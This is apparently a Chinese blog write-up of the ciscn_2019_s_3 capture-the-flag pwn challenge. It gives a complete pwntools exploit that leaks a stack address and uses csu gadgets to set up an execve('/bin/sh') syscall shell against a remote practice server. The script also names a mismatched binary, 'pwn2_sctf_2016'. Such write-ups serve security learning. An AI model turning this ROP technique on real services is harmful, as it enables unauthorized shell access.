5

ciscn_2019_s_3

1.ida分析

 

存在栈溢出漏洞,但可用函数很少。

 

 

 

 

 在64位下execve的系统调用号为59,也就是0x3b。那大概思路就是利用这个汇编指令来执行execve('/bin/sh',0,0)。

2.checksec

 

 

 3.解决

一开始编写的时候一直卡在如何把rdx的值变成0x0,最后还是看大佬的博客才学到新思路。参考博客:https://blog.csdn.net/tqydyqt/article/details/105571460

并且不知道为什么远程连接的时候如果返回地址为main函数就不行,只好返回到vuln函数。(但是在本机调试main函数就不会报错,numb了)

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

p=remote('node4.buuoj.cn',26943)
#p=process('./ciscn_s_3')
elf=ELF('pwn2_sctf_2016')
pop_rdi=0x4005a3
pop_rsi_r15=0x4005a1
pop_regs=0x40059a
mov_call=0x400580
gadgets=0x4004e2
main=0x40051d
vuln=0x4004ed

#shell=asm(shellcraft.sh())
payload='a'*16+p64(vuln)
p.send(payload)
p.recv(0x20)
#esp=u64(p.recv(6).ljust(8,'\0'))-0x148
esp=u64(p.recv(6).ljust(8,'\0'))-0x118

#gdb.attach(p)
#payload='/bin/sh\0'+p64(0)+p64(pop_rdi)+p64(esp)+p64(gadgets)+p64(0)+p64(0x400517)
payload='/bin/sh\0'+p64(0)+p64(pop_regs)+p64(0)*2+p64(esp+0x50)+p64(0)*3+p64(mov_call)+p64(pop_rdi)+p64(esp)+p64(gadgets)+p64(0x400517)
p.send(payload)

p.interactive()

exp分析:

payload='a'*16+p64(vuln)
p.send(payload)
p.recv(0x20)
#esp=u64(p.recv(6).ljust(8,'\0'))-0x148
esp=u64(p.recv(6).ljust(8,'\0'))-0x118

首先通过write函数泄露出栈的地址,并且计算出下一次输入的时候栈的地址。

 

payload='/bin/sh\0'+p64(0)+p64(pop_regs)+p64(0)*2+p64(esp+0x50)+p64(0)*3+p64(mov_call)+p64(pop_rdi)+p64(esp)+p64(gadgets)+p64(0x400517)
p.send(payload)

 

 利用pop  r12在r12寄存器中存放call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]中要跳转的地址,利用mov操作来让rdx=0x0。

剩下的就是普通的布局了。

posted @ 2021-07-19 15:12  mio_yy  阅读(53)  评论(0)    收藏  举报